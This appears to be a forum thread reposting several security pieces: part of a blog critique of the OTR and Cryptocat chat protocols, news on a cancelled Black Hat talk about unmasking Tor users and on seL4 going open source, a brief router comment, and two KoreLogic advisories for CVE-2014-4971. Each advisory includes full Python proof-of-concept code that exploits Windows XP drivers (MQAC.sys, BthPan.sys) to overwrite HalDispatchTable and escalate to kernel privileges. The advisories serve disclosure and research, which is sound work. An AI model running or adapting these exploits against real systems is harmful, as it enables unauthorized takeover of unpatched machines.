attacker to intercept actual message content -- she'll get caught when the signatures don't check out -- but she can view the public keys being exchanged. From the client point of view the likely symptoms are a mysterious OTR error, followed immediately by a successful handshake. One consequence of this is that an attacker could conceivably determine which of several clients you're using to initiate a connection. Weak deniability. The main goal of the OTR designers is plausible deniability. Roughly, this means that when you and I communicate there should be no binding evidence that we really had the conversation. This rules out obvious solutions like GPG-based chats, where individual messages would be digitally signed, making them non-repudiable. Properly defining deniability is a bit complex. The standard approach is to show the existence of an efficient 'simulator' -- in plain English, an algorithm for making fake transcripts. The theory is simple: if it's trivial to make fake transcripts, then a transcript can hardly be viewed as evidence that a conversation really occurred. OTR's handshake doesn't quite achieve 'strong' deniability -- meaning that anyone can fake a transcript between any two parties -- mainly because it uses signatures. As signatures are non-repudiable, there's no way to fake one without actually knowing your public key. This reveals that we did, in fact, communicate at some point. Moreover, it's possible to create an evidence trail that I communicated with you, e.g., by encoding my identity into my Diffie-Hellman share (g^x). At very least I can show that at some point you were online and we did have contact. But proving contact is not the same thing as proving that a specific conversation occurred. And this is what OTR works to prevent. The guarantee OTR provides is that if the target was online at some point and you could contact them, there's an algorithm that can fake just about any conversation with the individual. Since OTR clients are, by design, willing to initiate a key exchange with just about anyone, merely putting your client online makes it easy for people to fake such transcripts.*** Towards strong deniability. The 'weak' deniability of OTR requires at least tacit participation of the user (Bob) for which we're faking the transcript. This isn't a bad property, but in practice it means that fake transcripts can only be produced by either Bob himself, or someone interacting online with Bob. This certainly cuts down on your degree of deniability. A related concept is 'strong deniability', which ensures that any party can fake a transcript using only public information (e.g., your public keys). OTR doesn't try achieve strong deniability -- but it does try for something in between. The OTR version of deniability holds that an attacker who obtains the network traffic of a real conversation -- even if they aren't one of the participants -- should be able alter the conversation to say anything he wants. Sort of. The rough outline of the OTR deniability process is to generate a new message authentication key for each message (using Diffie-Hellman) and then reveal those keys once they've been used up. In theory, a third party can obtain this transcript and -- if they know the original message content -- they can 'maul' the AES-CTR encrypted messages into messages of their choice, then they can forge their own MACs on the new messages. [TABLE=class: tr-caption-container, align: center] [TR] [TD][/TD] [/TR] [TR] [TD=class: tr-caption]OTR message transport (source: Bonneau and Morrison, all colored stuff added).[/TD] [/TR] [/TABLE] Thus our hypothetical transcript forger can take an old transcript that says "would you like a Pizza" and turn it into a valid transcript that says, for example, "would you like to hack STRATFOR"... Except that they probably can't, since the first message is too short and... oh lord, this whole thing is a stupid idea -- let's stop talking about it. The OTRv1 handshake. Oh yes, there's also an OTRv1 protocol that has a few issues and isn't really deniable. Even better, an MITM attacker can force two clients to downgrade to it, provided both support that version. Yuck. So that's the OTR protocol. While I've pointed out a few minor issues above, the truth is that the protocol is generally an excellent way to communicate. In fact it's such a good idea that if you really care about secrecy it's probably one of the best options out there. Cryptocat Since we're looking at IM protocols I thought it might be nice to contrast with another fairly popular chat protocol: Cryptocat's group chat. Cryptocat is a web-based encrypted chat app that now runs on iOS (and also in Thomas Ptacek's darkest nightmares). Cryptocat implements OTR for 'private' two-party conversations. However OTR is not the default. If you use Cryptocat in its default configuration, you'll be using its hand-rolled protocol for group chats. The Cryptocat group chat specification can be found here, and it's remarkably simple. There are no "long-term" keys in Cryptocat. Diffie-Hellman keys are generated at the beginning of each session and re-used for all conversations until the app quits. Here's the handshake between two parties: [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]Cryptocat group chat handshake (current revision). Setting is Curve25519. Keys are generated when the application launches, and re-used through the session.[/TD] [/TR] [/TABLE] If multiple people join the room, every pair of users repeats this handshake to derive a shared secret between every pair of users. Individuals are expected to verify each others' keys by checking fingerprints and/or running the Socialist Millionaire protocol. Unlike OTR, the Cryptocat handshake includes no key confirmation messages, nor does it attempt to bind users to their identity or chat room. One implication of this is that I can transmit someone else's public key as if it were my own -- and the recipients of this transmission will believe that the person is actually part of the chat. Moreover, since public keys aren't bound to the user's identity or the chat room, you could potentially route messages between a different user (even a user in a different chat room) while making it look like they're talking to you. Since Cryptocat is a group chat protocol, there might be some interesting things you could do to manipulate the conversation in this setting.**** Does any of this matter? Probably not that much, but it would be relatively easy (and good) to fix these issues. Message transmission and consistency. The next interesting aspect of Cryptocat is the way it transmits encrypted chat messages. One of the core goals of Cryptocat is to ensure that messages are consistent between individual users. This means that all users should be able to verify that the other user is receiving the same data as it is. Cryptocat uses a slightly complex mechanism to achieve this. For each pair of users in the chat, Cryptocat derives an AES key and an MAC key from the Diffie-Hellman shared secret. To send a message, the client: Pads the message by appending 64 bytes of random padding. Generates a random 12-byte Initialization Vector for each of the N users in the chat. Encrypts the message using AES-CTR under the shared encryption key for each user. Concatenates all of the N resulting ciphertexts/IVs and computes an HMAC of the whole blob under each recipient's key. Calculates a 'tag' for the message by hashing the following data: padded plaintext || HMAC-SHA512alice || HMAC-SHA512bob || HMAC-SHA512carol || ... Broadcasts the N ciphertexts, IVs, MACs and the single 'tag' value to all users in the conversation. When a recipient receives a message from another user, it verifies that: The message contains a valid HMAC under its shared key. This IV has not been received before from this sender. The decrypted plaintext is consistent with the 'tag'. Roughly speaking, the idea here is to make sure that every user receives the same message. The use of a hashed plaintext is a bit ugly, but the argument here is that the random padding protects the message from guessing attacks. Make what you will of this. Anti-replay. Cryptocat also seeks to prevent replay attacks, e.g., where an attacker manipulates a conversation by simply replaying (or reflecting) messages between users, so that users appear to be repeating statements. For example, consider the following chat transcripts: [TABLE=class: tr-caption-container, align: center] [TR] [TD][/TD] [/TR] [TR] [TD=class: tr-caption]Replays and reflection attacks. [/TD] [/TR] [/TABLE] Replay attacks are prevented through the use of a global 'IV array' that stores all previously received and sent IVs to/from all users. If a duplicate IV arrives, Cryptocat will reject the message. This is unwieldy but it generally seems ok to prevent replays and reflection. A limitation of this approach is that the IV array does not live forever. In fact, from time to time Cryptocat will reset the IV array without regenerating the client key. This means that if Alice and Bob both stay online, they can repeat the key exchange and wind up using the same key again -- which makes them both vulnerable to subsequent replays and reflections. (Update: This issue has since been fixed). In general the solution to these issues is threefold: Keys shouldn't be long-term, but should be regenerated using new random components for each key exchange. Different keys should be derived for the Alice->Bob and Bob->Alice direction It would be be more elegant to use a message counter than to use this big, unwieldy key array. The good news is that the Cryptocat developers are working on a totally new version of the multi-party chat protocol that should be enormously better. In conclusion I said this would be a post that goes nowhere, and I delivered! But I have to admit, it helps to push it out of my system. None of the issues I note above are the biggest deal in the world. They're all subtle issues, which illustrates two things: first, that crypto is hard to get right. But also: that crypto rarely fails catastrophically. The exciting crypto bugs that cause you real pain are still few and far between. Notes: * In practice, you might argue that the higher-level IM protocol already leaks user identities (e.g., Jabber nicknames). However this is very much an implementation choice. Moreover, even when using Jabber with known nicknames, you might access the Jabber server using one of several different clients (your computer, phone, etc.). Assuming you use Tor, the only indication of this might be the public key you use during OTR. So there's certainly useful information in this protocol. ** Notice that OTR signs a MAC instead of a hash of the user identity information. This happens to be a safe choice given that the MAC used is based on HMAC-SHA2, but it's not generally a safe choice. Swapping the HMAC out for a different MAC function (e.g., CBC-MAC) would be catastrophic. *** To get specific, imagine I wanted to produce a simulated transcript for some conversation with Bob. Provided that Bob's client is online, I can send Bob any g^x value I want. It doesn't matter if he really wants to talk to me -- by default, his client will cheerfully send me back his own g^y and a signature on (g^x, g^y, pub_B, keyid_ which, notably, does not include my identity. From this point on all future authentication is performed using MACs and encrypted under keys that are known to both of us. There's nothing stopping me from faking the rest of the conversation. **** Incidentally, a similar problem exists in the OTRv1 protocol. Posted by Matthew Green at 9:31 AM Sursa: A Few Thoughts on Cryptographic Engineering: Noodling about IM protocols

Black Hat presentation on unmasking TOR users suddenly cancelled Jeremy Kirk, IDG News Service A presentation on a low-budget method to unmask users of a popular online privacy tool, TOR, will no longer go ahead at the Black Hat security conference early next month. The talk was nixed by the legal counsel with Carnegie Mellon’s Software Engineering Institute after a finding that materials from researcher Alexander Volynkin were not approved for public release, according to a notice on the conference’s website. It’s rare but not unprecedented for Black Hat presentations to be cancelled. It was not clear why lawyers felt Volynkin’s presentation should not proceed. Volynkin, a research scientist with the university’s Computer Emergency Response Team (CERT) was due to give a talk entitled “You Don’t Have to be the NSA to Break Tor: Deanonymizing Users on a Budget” at the conference, which take places Aug. 6-7 in Last Vegas. TOR is short for The Onion Router, which is a network of distributed nodes that provide greater privacy by encrypting a person’s browsing traffic and routing that traffic through random proxy servers. Although originally developed by the U.S. Naval Research Laboratory, it is now maintained by The TOR Project. TOR is widely used by both cybercriminals and those with legitimate interests in preserving their anonymity, such as dissidents and journalists. Although TOR masks a computer’s true IP address, advanced attacks have been developed that undermine its effectiveness. Some of Volynkin’s materials were informally shared with The TOR Project, a nonprofit group that oversees the TOR, wrote Roger Dingledine, a co-founder of the organization, in mailing list post on Monday. The TOR Project did not request the talk to be canceled, Dingledine wrote. Also, the group has not received slides or descriptions of Volynkin’s talk that go beyond an abstract that has now been deleted from Black Hat’s website. Dingledine wrote that The TOR Project is working with CERT to do a coordinated disclosure around Volynkin’s findings, possibly later this week. In general, the group encourages researchers to responsibly disclose information about new attacks. “Researchers who have told us about bugs in the past have found us pretty helpful in fixing issues and generally positive to work with,” Dingledine wrote. Sursa: Black Hat presentation on unmasking TOR users suddenly cancelled | PCWorld

DARPA-derived secure microkernel goes open source tomorrow Hacker-repelling, drone-protecting code will soon be yours to tweak as you see fit By Darren Pauli, 28 Jul 2014 A nippy microkernel mathematically proven to be bug free*, and used to protect drones from hacking, will be released as open source tomorrow. The formal-methods-based secure embedded L4 (seL4) microkernel was developed by Australian boffins at National ICT Australia (NICTA) and was part of the US Defense Advanced Research Projects Agency's High-Assurance Cyber Military Systems program hatched in 2012 to stop hackers knocking unmanned birds out of the sky. It was noted as the most advanced and highly-assured member of the L4 microkernel family due to its use of formal methods that did not impact performance. A microkernel differs from monolithic kernels – such as the Linux and Windows kernels – by running as much code as possible – from drivers to system services – in user space, making the whole thing more modular and (in theory) more stable. Tomorrow at noon Eastern Australian Standard Time (GMT +10) seL4's entire source code including proofs and additional code used to build trustworthy systems will be released under the GPL v2 licence. A global group of maths and aviation gurus from the likes of Boeing and Rockwell Collins joined a team of dedicated NICTA researchers on the project which involved the seL4 operating system designed to detect and foil hacking attempts. NICTA senior researcher Doctor June Andronick said the kernel should be considered by anyone building critical systems such as pacemakers and technology-rich cars. "If your software runs the seL4 kernel, you have a guarantee that if a fault happens in one part of the system it cannot propagate to the rest of the system and in particular the critical parts," Andronick said earlier this month. "We provide a formal mathematical proof that this seL4 kernel is correct and guarantees the isolation between components." NICTA demonstrated in a video how a drone which running the platform could detect hacking attempts from ground stations that would normally cause the flight software to die and the aircraft to crash. "What we are demonstrating here is that if one of the ground stations is malicious, and sends a command to the drone to stop the flight software, the commercially-available drone will accept the command, kill the software and just drop from the sky," Andronick said. The researchers' demo drone would instead detect the intrusion at temp, flash its led lights and fly away. This could ensure that real drone missions could continue in the event of hacking attempts by combatants. Andronick said seL4 would come into play as the team added more functionality including navigation, autonomous flight and mission control components. In depth information about seL4 was available on the NICTA website and within the paper Comprehensive Formal Verification of an OS Microkernel. ® * That's bug free according to the formal verification of its specification; design flaws in the specs aren't counted by the team. Sursa: DARPA-derived secure microkernel goes open source tomorrow • The Register

Eu o sa ma multumesc cu asta: Asus RT-AC68U Dual-band Wireless-AC1900 Gigabit Router, USB 3.0, IEEE 802.11a/b/g/n - eMAG.ro Ar mai fi "baiatu vesel": Router Wireless Linksys Smart Wi-Fi WRT1900AC, Dual Band, USB, AC1900 - eMAG.ro Dar prefer ASUS-ul. Prea mare diferenta de pret. Sunt curios cat o sa coste. Si cat de usor poti praji oua langa el.

Those are probably fixed. The exploit does NOT check if the forum is vulnerable. If it shows this error on Home - vBulletin Community Forum it means it was fixed.

Microsoft XP SP3 MQAC.sys Arbitrary Write Privilege Escalation Authored by Matthew Bergin A vulnerability within the MQAC module allows an attacker to inject memory they control into an arbitrary location they define. This can be used by an attacker to overwrite HalDispatchTable+0x4 and execute arbitrary code by subsequently calling NtQueryIntervalProfile. Microsoft MQ Access Control version 5.1.0.1110 on XP SP3 is affected. Title: Microsoft XP SP3 MQAC.sys Arbitrary Write Privilege Escalation Advisory ID: KL-001-2014-003 Publication Date: 2014.07.18 Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2014-003.txt 1. Vulnerability Details Affected Vendor: Microsoft Affected Product: MQ Access Control Affected Versions: 5.1.0.1110 Platform: Microsoft Windows XP SP3 CWE Classification: CWE-123: Write-what-where Condition Impact: Privilege Escalation Attack vector: IOCTL CVE ID: CVE-2014-4971 2. Vulnerability Description A vulnerability within the MQAC module allows an attacker to inject memory they control into an arbitrary location they define. This can be used by an attacker to overwrite HalDispatchTable+0x4 and execute arbitrary code by subsequently calling NtQueryIntervalProfile. 3. Technical Description A userland process can create a handle into the MQAC device and subsequently make DeviceIoControlFile() calls into that device. During the IRP handler routine for 0x1965020f the user provided OutputBuffer address is not validated. This allows an attacker to specify an arbitrary address and write (or overwrite) the memory residing at the specified address. This is classically known as a write-what-where vulnerability and has well known exploitation methods associated with it. A stack trace from our fuzzing can be seen below. In our fuzzing testcase, the specified OutputBuffer in the DeviceIoControlFile() call is 0xffff0000. STACK_TEXT: b1c4594c 8051cc7f 00000050 ffff0000 00000001 nt!KeBugCheckEx+0x1b b1c459ac 805405d4 00000001 ffff0000 00000000 nt!MmAccessFault+0x8e7 b1c459ac b230af37 00000001 ffff0000 00000000 nt!KiTrap0E+0xcc b1c45a68 b230c0a1 ffff0000 000000d3 0000000c mqac!AC2QM+0x5d b1c45ab4 804ee129 81ebb558 82377e48 806d32d0 mqac!ACDeviceControl+0x16d b1c45ac4 80574e56 82377eb8 82240510 82377e48 nt!IopfCallDriver+0x31 b1c45ad8 80575d11 81ebb558 82377e48 82240510 nt!IopSynchronousServiceTail+0x70 b1c45b80 8056e57c 000006a4 00000000 00000000 nt!IopXxxControlFile+0x5e7 b1c45bb4 b1aea17e 000006a4 00000000 00000000 nt!NtDeviceIoControlFile+0x2a Reviewing the FOLLOWUP_IP value from the WinDBG '!analyze -v' command shows the fault originating in the mqac driver. OLLOWUP_IP: mqac!AC2QM+5d b230af37 891e mov dword ptr [esi],ebx Reviewing the TRAP_FRAME at the time of crash we can see IopCompleteRequest() copying data from InputBuffer into the OutputBuffer. InputBuffer is another parameter provided to the DeviceIoControlFile() function and is therefore controllable by the attacker. The edi register contains the invalid address provided during the fuzz testcase. TRAP_FRAME: b1c459c4 -- (.trap 0xffffffffb1c459c4) ErrCode = 00000002 eax=b1c45a58 ebx=00000000 ecx=ffff0000 edx=82377e48 esi=ffff0000 edi=00000000 eip=b230af37 esp=b1c45a38 ebp=b1c45a68 iopl=0 nv up ei pl zr na pe nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010246 mqac!AC2QM+0x5d: b230af37 891e mov dword ptr [esi],ebx ds:0023:ffff0000=???????? A write-what-where vulnerability can be leveraged to obtain escalated privileges. To do so, an attacker will need to allocate memory in userland that is populated with shellcode designed to find the Token for PID 4 (System) and then overwrite the token for its own process. By leveraging the vulnerability in MQAC it is then possible to overwrite the pointer at HalDispatchTable+0x4 with a pointer to our shellcode. Calling NtQueryIntervalProfile() will subsequently call HalDispatchTable+0x4, execute our shellcode, and elevate the privilege of the exploit process. 4. Mitigation and Remediation Recommendation None. A patch is not likely to be forthcoming from the vendor. 5. Credit This vulnerability was discovered by Matt Bergin of KoreLogic Security, Inc. 6. Disclosure Timeline 2014.04.28 - Initial contact; sent Microsoft report and PoC. 2014.04.28 - Microsoft acknowledges receipt of vulnerability report; states XP is no longer supported and asks if the vulnerability affects other versions of Windows. 2014.04.29 - KoreLogic asks Microsoft for clarification of their support policy for XP. 2014.04.29 - Microsoft says XP-only vulnerabilities will not be addressed with patches. 2014.04.29 - KoreLogic asks if Microsoft intends to address the vulnerability report. 2014.04.29 - Microsoft opens case to investigate the impact of the vulnerability on non-XP systems. 2014.05.06 - Microsoft asks again if this vulnerability affects non-XP systems. 2014.05.14 - KoreLogic informs Microsoft that the vulnerability report is for XP and other Windows versions have not been examined. 2014.06.11 - KoreLogic informs Microsoft that 30 business days have passed since vendor acknowledgement of the initial report. KoreLogic requests CVE number for the vulnerability, if there is one. KoreLogic also requests vendor's public identifier for the vulnerability along with the expected disclosure date. 2014.06.11 - Microsoft responds to KoreLogic that the vulnerability does not affect an "up-platform" product. Says they are investigating embedded platforms. Does not provide a CVE number or a disclosure date. 2014.06.30 - KoreLogic asks Microsoft for confirmation of their receipt of the updated PoC. Also requests that a CVE ID be issued to this vulnerability. 2014.07.02 - 45 business days have elapsed since Microsoft acknowledged receipt of the vulnerability report and PoC. 2014.07.07 - KoreLogic requests CVE from MITRE. 2014.07.18 - MITRE deems this vulnerability (KL-001-2014-003) to be identical to KL-001-2014-002 and issues CVE-2014-4971 for both vulnerabilities. 2014.07.18 - Public disclosure. 7. Proof of Concept #!/usr/bin/python2 # # KL-001-2014-003 : Microsoft XP SP3 MQAC.sys Arbitrary Write Privilege Escalation # Matt Bergin (KoreLogic / Smash the Stack) # CVE-2014-4971 # from ctypes import * from struct import pack from os import getpid,system from sys import exit EnumDeviceDrivers,GetDeviceDriverBaseNameA,CreateFileA,NtAllocateVirtualMemory,WriteProcessMemory,LoadLibraryExA = windll.Psapi.EnumDeviceDrivers,windll.Psapi.GetDeviceDriverBaseNameA,windll.kernel32.CreateFileA,windll.ntdll.NtAllocateVirtualMemory,windll.kernel32.WriteProcessMemory,windll.kernel32.LoadLibraryExA GetProcAddress,DeviceIoControlFile,NtQueryIntervalProfile,CloseHandle = windll.kernel32.GetProcAddress,windll.ntdll.ZwDeviceIoControlFile,windll.ntdll.NtQueryIntervalProfile,windll.kernel32.CloseHandle INVALID_HANDLE_VALUE,FILE_SHARE_READ,FILE_SHARE_WRITE,OPEN_EXISTING,NULL = -1,2,1,3,0 # thanks to offsec for the concept # I re-wrote the code as to not fully insult them def getBase(name=None): retArray = c_ulong*1024 ImageBase = retArray() callback = c_int(1024) cbNeeded = c_long() EnumDeviceDrivers(byref(ImageBase),callback,byref(cbNeeded)) for base in ImageBase: driverName = c_char_p("\x00"*1024) GetDeviceDriverBaseNameA(base,driverName,48) if (name): if (driverName.value.lower() == name): return base else: return (base,driverName.value) return None handle = CreateFileA("\\\\.\\MQAC",FILE_SHARE_WRITE|FILE_SHARE_READ,0,None,OPEN_EXISTING,0,None) print "[+] Handle \\\\.\\MQAC @ %s" % (handle) NtAllocateVirtualMemory(-1,byref(c_int(0x1)),0x0,byref(c_int(0xffff)),0x1000|0x2000,0x40) buf = "\x50\x00\x00\x00"+"\x90"*0x400 WriteProcessMemory(-1, 0x1, "\x90"*0x6000, 0x6000, byref(c_int(0))) WriteProcessMemory(-1, 0x1, buf, 0x400, byref(c_int(0))) WriteProcessMemory(-1, 0x5000, "\xcc", 77, byref(c_int(0))) #Overwrite Pointer kBase,kVer = getBase() hKernel = LoadLibraryExA(kVer,0,1) HalDispatchTable = GetProcAddress(hKernel,"HalDispatchTable") HalDispatchTable -= hKernel HalDispatchTable += kBase HalDispatchTable += 0x4 print "[+] Kernel @ %s, HalDispatchTable @ %s" % (hex(kBase),hex(HalDispatchTable)) DeviceIoControlFile(handle,NULL,NULL,NULL,byref(c_ulong(8)),0x1965020f,0x1,0x258,HalDispatchTable,0) print "[+] HalDispatchTable+0x4 overwritten" CloseHandle(handle) NtQueryIntervalProfile(c_ulong(2),byref(c_ulong())) exit(0) The contents of this advisory are copyright(c) 2014 KoreLogic, Inc. and are licensed under a Creative Commons Attribution Share-Alike 4.0 (United States) License: http://creativecommons.org/licenses/by-sa/4.0/ KoreLogic, Inc. is a founder-owned and operated company with a proven track record of providing security services to entities ranging from Fortune 500 to small and mid-sized companies. We are a highly skilled team of senior security consultants doing by-hand security assessments for the most important networks in the U.S. and around the world. We are also developers of various tools and resources aimed at helping the security community. https://www.korelogic.com/about-korelogic.html Our public vulnerability disclosure policy is available at: https://www.korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v1.0.txt Sursa: Microsoft XP SP3 MQAC.sys Arbitrary Write Privilege Escalation ? Packet Storm

Microsoft XP SP3 BthPan.sys Arbitrary Write Privilege Escalation Authored by Matthew Bergin A vulnerability within the BthPan module allows an attacker to inject memory they control into an arbitrary location they define. This can be used by an attacker to overwrite HalDispatchTable+0x4 and execute arbitrary code by subsequently calling NtQueryIntervalProfile. Microsoft Bluetooth Personal Area Networking version 5.1.2600.5512 on XP SP3 is affected. Title: Microsoft XP SP3 BthPan.sys Arbitrary Write Privilege Escalation Advisory ID: KL-001-2014-002 Publication Date: 2014-07-18 Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2014-002.txt 1. Vulnerability Details Affected Vendor: Microsoft Affected Product: Bluetooth Personal Area Networking Affected Versions: 5.1.2600.5512 Platform: Microsoft Windows XP SP3 CWE Classification: CWE-123: Write-what-where Condition Impact: Privilege Escalation Attack vector: IOCTL CVE ID: CVE-2014-4971 2. Vulnerability Description A vulnerability within the BthPan module allows an attacker to inject memory they control into an arbitrary location they define. This can be used by an attacker to overwrite HalDispatchTable+0x4 and execute arbitrary code by subsequently calling NtQueryIntervalProfile. 3. Technical Description A userland process can create a handle into the BthPan device and subsequently make DeviceIoControlFile() calls into that device. During the IRP handler routine for 0x0012b814 the user provided OutputBuffer address is not validated. This allows an attacker to specify an arbitrary address and write (or overwrite) the memory residing at the specified address. This is classicaly known as a write-what-where vulnerability and has well known exploitation methods associated with it. A stack trace from our fuzzing can be seen below. In our fuzzing testcase, the specified OutputBuffer in the DeviceIoControlFile() call is 0xffff0000. STACK_TEXT: b1e065b8 8051cc7f 00000050 ffff0000 00000001 nt!KeBugCheckEx+0x1b b1e06618 805405d4 00000001 ffff0000 00000000 nt!MmAccessFault+0x8e7 b1e06618 804f3b76 00000001 ffff0000 00000000 nt!KiTrap0E+0xcc b1e066e8 804fdaf1 8216cc80 b1e06734 b1e06728 nt!IopCompleteRequest+0x92 b1e06738 80541890 00000000 00000000 00000000 nt!KiDeliverApc+0xb3 b1e06758 804fb4a7 8055b1c0 81bdeda8 b1e0677c nt!KiUnlockDispatcherDatabase+0xa8 b1e06768 80534b09 8055b1c0 81f7a290 81f016b8 nt!KeInsertQueue+0x25 b1e0677c f83e26ec 81f7a290 00000000 b1e067a8 nt!ExQueueWorkItem+0x1b b1e0678c b272b5a1 81f7a288 00000000 81e002d8 NDIS!NdisScheduleWorkItem+0x21 b1e067a8 b273a544 b1e067c8 b273a30e 8216cc40 bthpan!BthpanReqAdd+0x16b b1e069e8 b273a62b 8216cc40 00000258 81e6f550 bthpan!IoctlDispatchDeviceControl+0x1a8 b1e06a00 f83e94bb 81e6f550 8216cc40 81d74d68 bthpan!IoctlDispatchMajor+0x93 b1e06a18 f83e9949 81e6f550 8216cc40 8217e6e8 NDIS!ndisDummyIrpHandler+0x48 b1e06ab4 804ee129 81e6f550 8216cc40 806d32d0 NDIS!ndisDeviceControlIrpHandler+0x5c b1e06ac4 80574e56 8216ccb0 81d74d68 8216cc40 nt!IopfCallDriver+0x31 b1e06ad8 80575d11 81e6f550 8216cc40 81d74d68 nt!IopSynchronousServiceTail+0x70 b1e06b80 8056e57c 000006a8 00000000 00000000 nt!IopXxxControlFile+0x5e7 b1e06bb4 b1a2506f 000006a8 00000000 00000000 nt!NtDeviceIoControlFile+0x2a WARNING: Stack unwind information not available. Following frames may be wrong. Reviewing the FOLLOWUP_IP value from the WinDBG '!analyze -v' command shows the fault originating in the bthpan driver. FOLLOWUP_IP: bthpan!BthpanReqAdd+16b b272b5a1 ebc2 jmp bthpan!BthpanReqAdd+0x12f (b272b565) Reviewing the TRAP_FRAME at the time of crash we can see IopCompleteRequest() copying data from InputBuffer into the OutputBuffer. InputBuffer is another parameter provided to the DeviceIoControlFile() function and is therefore controllable by the attacker. The edi register contains the invalid address provided during the fuzz testcase. TRAP_FRAME: b1e06630 -- (.trap 0xffffffffb1e06630) ErrCode = 00000002 eax=0000006a ebx=8216cc40 ecx=0000001a edx=00000001 esi=81e002d8 edi=ffff0000 eip=804f3b76 esp=b1e066a4 ebp=b1e066e8 iopl=0 nv up ei pl nz na po cy cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010203 nt!IopCompleteRequest+0x92: 804f3b76 f3a5 rep movs dword ptr es:[edi],dword ptr [esi] A write-what-where vulnerability can be leveraged to obtain escalated privileges. To do so, an attacker will need to allocate memory in userland that is populated with shellcode designed to find the Token for PID 4 (System) and then overwrite the token for its own process. By leveraging the vulnerability in BthPan it is then possible to overwrite the pointer at HalDispatchTable+0x4 with a pointer to our shellcode. Calling NtQueryIntervalProfile() will subsequently call HalDispatchTable+0x4, execute our shellcode, and elevate the privilege of the exploit process. 4. Mitigation and Remediation Recommendation None. A patch is not likely to be forthcoming from the vendor. 5. Credit This vulnerability was discovered by Matt Bergin of KoreLogic Security, Inc. 6. Disclosure Timeline 2014.04.28 - Initial contact; sent Microsoft report and PoC. 2014.04.28 - Microsoft acknowledges receipt of vulnerability report; states XP is no longer supported and asks if the vulnerability affects other versions of Windows. 2014.04.29 - KoreLogic asks Microsoft for clarification of their support policy for XP. 2014.04.29 - Microsoft says XP-only vulnerabilities will not be addressed with patches. 2014.04.29 - KoreLogic asks if Microsoft intends to address the vulnerability report. 2014.04.29 - Microsoft opens case to investigate the impact of the vulnerability on non-XP systems. 2014.05.06 - Microsoft asks again if this vulnerability affects non-XP systems. 2014.05.14 - KoreLogic informs Microsoft that the vulnerability report is for XP and other Windows versions have not been examined. 2014.06.11 - KoreLogic informs Microsoft that 30 business days have passed since vendor acknowledgement of the initial report. KoreLogic requests CVE number for the vulnerability, if there is one. KoreLogic also requests vendor's public identifier for the vulnerability along with the expected disclosure date. 2014.06.11 - Microsoft informs KoreLogic that the vulnerability does not impact any "up-platform" products. Says they are investigating embedded platforms. Does not provide CVE number. 2014.06.24 - Microsoft contacts KoreLogic to say that they confused the report of this vulnerability with another and that they cannot reproduce the described behavior. Microsoft asks for an updated Proof-of-Concept, crash dumps or any further analysis of the vulnerability that KoreLogic can provide. 2014.06.25 - KoreLogic provides Microsoft with an updated Proof-of-Concept which demonstrates using the vulnerability to spawn a system shell. 2014.06.30 - KoreLogic asks Microsoft for confirmation of their receipt of the updated PoC. Also requests that a CVE ID be issued for this vulnerability. 2014.07.02 - 45 business days have elapsed since Microsoft acknowledged receipt of the vulnerability report and PoC. 2014.07.07 - KoreLogic requests CVE from MITRE. 2014.07.18 - MITRE deems this vulnerability (KL-001-2014-002) to be identical to KL-001-2014-003 and issues CVE-2014-4971 for both vulnerabilities. 2014.07.18 - Public disclosure. 7. Proof of Concept #!/usr/bin/python2 # # KL-001-2014-002 : Microsoft XP SP3 BthPan.sys Arbitrary Write Privilege Escalation # Matt Bergin (KoreLogic / Smash the Stack) # CVE-2014-4971 # from ctypes import * from struct import pack from os import getpid,system from sys import exit EnumDeviceDrivers,GetDeviceDriverBaseNameA,CreateFileA,NtAllocateVirtualMemory,WriteProcessMemory,LoadLibraryExA = windll.Psapi.EnumDeviceDrivers,windll.Psapi.GetDeviceDriverBaseNameA,windll.kernel32.CreateFileA,windll.ntdll.NtAllocateVirtualMemory,windll.kernel32.WriteProcessMemory,windll.kernel32.LoadLibraryExA GetProcAddress,DeviceIoControlFile,NtQueryIntervalProfile,CloseHandle = windll.kernel32.GetProcAddress,windll.ntdll.ZwDeviceIoControlFile,windll.ntdll.NtQueryIntervalProfile,windll.kernel32.CloseHandle INVALID_HANDLE_VALUE,FILE_SHARE_READ,FILE_SHARE_WRITE,OPEN_EXISTING,NULL = -1,2,1,3,0 # thanks to offsec for the concept # I re-wrote the code as to not fully insult them def getBase(name=None): retArray = c_ulong*1024 ImageBase = retArray() callback = c_int(1024) cbNeeded = c_long() EnumDeviceDrivers(byref(ImageBase),callback,byref(cbNeeded)) for base in ImageBase: driverName = c_char_p("\x00"*1024) GetDeviceDriverBaseNameA(base,driverName,48) if (name): if (driverName.value.lower() == name): return base else: return (base,driverName.value) return None handle = CreateFileA("\\\\.\\BthPan",FILE_SHARE_WRITE|FILE_SHARE_READ,0,None,OPEN_EXISTING,0,None) if (handle == INVALID_HANDLE_VALUE): print "[!] Could not open handle to BthPan" exit(1) NtAllocateVirtualMemory(-1,byref(c_int(0x1)),0x0,byref(c_int(0xffff)),0x1000|0x2000,0x40) buf = "\xcc\xcc\xcc\xcc"+"\x90"*0x400 WriteProcessMemory(-1, 0x1, "\x90"*0x6000, 0x6000, byref(c_int(0))) WriteProcessMemory(-1, 0x1, buf, 0x400, byref(c_int(0))) kBase,kVer = getBase() hKernel = LoadLibraryExA(kVer,0,1) HalDispatchTable = GetProcAddress(hKernel,"HalDispatchTable") HalDispatchTable -= hKernel HalDispatchTable += kBase HalDispatchTable += 0x4 DeviceIoControlFile(handle,NULL,NULL,NULL,byref(c_ulong(8)),0x0012d814,0x1,0x258,HalDispatchTable,0) CloseHandle(handle) NtQueryIntervalProfile(c_ulong(2),byref(c_ulong())) exit(0) The contents of this advisory are copyright(c) 2014 KoreLogic, Inc. and are licensed under a Creative Commons Attribution Share-Alike 4.0 (United States) License: http://creativecommons.org/licenses/by-sa/4.0/ KoreLogic, Inc. is a founder-owned and operated company with a proven track record of providing security services to entities ranging from Fortune 500 to small and mid-sized companies. We are a highly skilled team of senior security consultants doing by-hand security assessments for the most important networks in the U.S. and around the world. We are also developers of various tools and resources aimed at helping the security community. https://www.korelogic.com/about-korelogic.html Our public vulnerability disclosure policy is available at: https://www.korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v1.0.txt Sursa: Microsoft XP SP3 BthPan.sys Arbitrary Write Privilege Escalation ? Packet Storm

